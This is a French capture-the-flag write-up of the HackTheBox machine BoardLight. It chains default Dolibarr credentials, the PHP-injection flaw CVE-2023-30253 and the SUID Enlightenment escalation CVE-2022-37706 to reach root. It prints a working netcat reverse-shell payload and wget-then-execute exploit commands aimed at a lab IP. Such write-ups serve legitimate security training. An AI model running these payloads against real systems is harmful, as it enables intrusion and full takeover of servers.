← Retour au carnet HTB · Linux · Easy · n°04

BoardLight

Dolibarr ERP 17.0.0 exposé sur un sous-domaine. Credentials par défaut admin/admin, RCE via CVE-2023-30253 (injection PHP), escalade SUID Enlightenment CVE-2022-37706.

Date
15 avr. 2024
IP
10.10.11.11
OS
Ubuntu 20.04
Plateforme
HackTheBox
DolibarrCVE-2023-30253RCESUIDCVE-2022-37706LinPEASLinux
Easy
↳ admin/admin en prod. Encore.
i.

Subdomain & Dolibarr par défaut.

Le footer du site mentionne board.htb. Fuzzing révèle crm.board.htb, une instance Dolibarr ERP/CRM 17.0.0.

Credentials par défaut admin/admin acceptés. Les identifiants n'ont jamais été changés.

CVE-2023-30253 (CVSS 8.8) : le filtre bloque <?php en minuscules, mais pas <?PHP, injection de code PHP via l'éditeur de site web Dolibarr.

ii.

CVE-2023-30253 & pivot SSH.

Création d'une page web dans Dolibarr, injection du payload PHP dans le source HTML.

<?PHP echo system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.41 4455 >/tmp/f"); ?>
Shell www-data obtenu. Config Dolibarr : $dolibarr_main_db_pass = 'serverfun2$2023!!'

Réutilisation du mot de passe → SSH avec larissa (uid=1000, gid=adm).

iii.

SUID Enlightenment : CVE-2022-37706.

LinPEAS identifie le binaire SUID enlightenment_sys v0.23.1, vulnérable au CVE-2022-37706 (path traversal, CVSS 7.8).

# Sur l'attaquant : servir l'exploit
python3 -m http.server 8000
# Sur la cible :
wget http://10.10.14.41:8000/exploit.sh
chmod +x exploit.sh && ./exploit.sh
# → Enjoy the root shell :)
root obtenu via SUID enlightenment. uid=0(root) confirmé.

Chaîne d'attaque.

1
Subdomain fuzzing
board.htb → crm.board.htb (Dolibarr 17.0.0)
2
Credentials par défaut
admin/admin → accès admin Dolibarr
3
CVE-2023-30253
4
Pivot
conf.php → serverfun2$2023!! → SSH larissa
5
Escalade
LinPEAS → SUID enlightenment → CVE-2022-37706 → root
Note terrain

Deux CVE chainées dans une progression linéaire. Ce qui m'a marqué : les credentials par défaut restent la surface d'attaque la plus sous-estimée. admin/admin sur un ERP d'entreprise en production, c'est un périmètre entier compromis avant même de chercher une CVE.